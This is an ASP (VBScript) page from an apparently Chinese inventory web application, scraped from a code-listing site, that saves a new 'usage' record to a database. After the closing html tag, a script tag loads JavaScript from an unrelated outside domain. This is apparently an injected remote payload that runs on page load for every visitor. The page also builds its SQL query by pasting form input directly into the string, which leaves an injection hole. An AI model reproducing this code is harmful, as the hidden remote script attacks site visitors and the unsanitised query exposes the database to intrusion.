?? usesmanage.asp
字號(hào):
<%@ LANGUAGE="VBScript"%>
<% response.buffer=true %>
<%const title="新增用處"%>
<html>
<head>
<meta http-equiv="Content-Type"content="text/html; charset=gb_2312-80">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title><%=title%></title>
<link rel=stylesheet type=text/css href=forum.css>
</head>
<body topmargin="0" onload=this.document.input.usesname.focus();>
<!--#include file=myPrg.asp-->
<!--#include file=opendb.inc-->
<%
CheckLogin
Showtitle(title)
getStorage(session("storage"))
%>
<%
if Request.ServerVariables("REQUEST_METHOD")="POST" then
if request.form("usesname")<>"" then
sql="select * from uses where uses_name='"&request.form("usesname")&"'"
rs.open sql,conn,3,2
if rs.eof then
rs.addnew
rs("uses_name")=request.form("usesname")
rs("memo")=request.form("memo")
rs.update
ShowSuccess("數(shù)據(jù)已經(jīng)成功保存!")
else
showerror("該用處已經(jīng)存在,請(qǐng)重新輸入")
end if
rs.close
else
showerror("請(qǐng)輸入用處名稱!")
end if
else
%>
<form action="usesmanage.asp" method="POST" name="input">
<p align=center><font color=red>請(qǐng)?jiān)谝韵碌谋砀裰刑钊胂嚓P(guān)的數(shù)據(jù)</font>
<p>
<table align=center border=0>
<tr>
<td nowrap><font color=blue>用處名稱:</td>
<td><input class=smallInput type=textbox name=usesname value=''>**</td>
</tr>
<tr>
<td valign="top"><font color=blue>說明一下:</td>
<td><textarea class=smallarea name=memo rows=5 cols=40></textarea></td>
</tr>
<tr>
<td><font color=blue>已有用處:</td>
<td><%Showuses%></td>
</tr>
<tr>
<td>
<td><br><input class=buttonface type=submit name=ok value=確定>
<input class=buttonface type=reset name=reset value=復(fù)原>
<input class=buttonface type=button name=retu value=返回 onclick=history.go(-1)>
</tr>
</table>
</form>
<%end if%>
<!--#include file=copyright.asp-->
</body>
</html>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -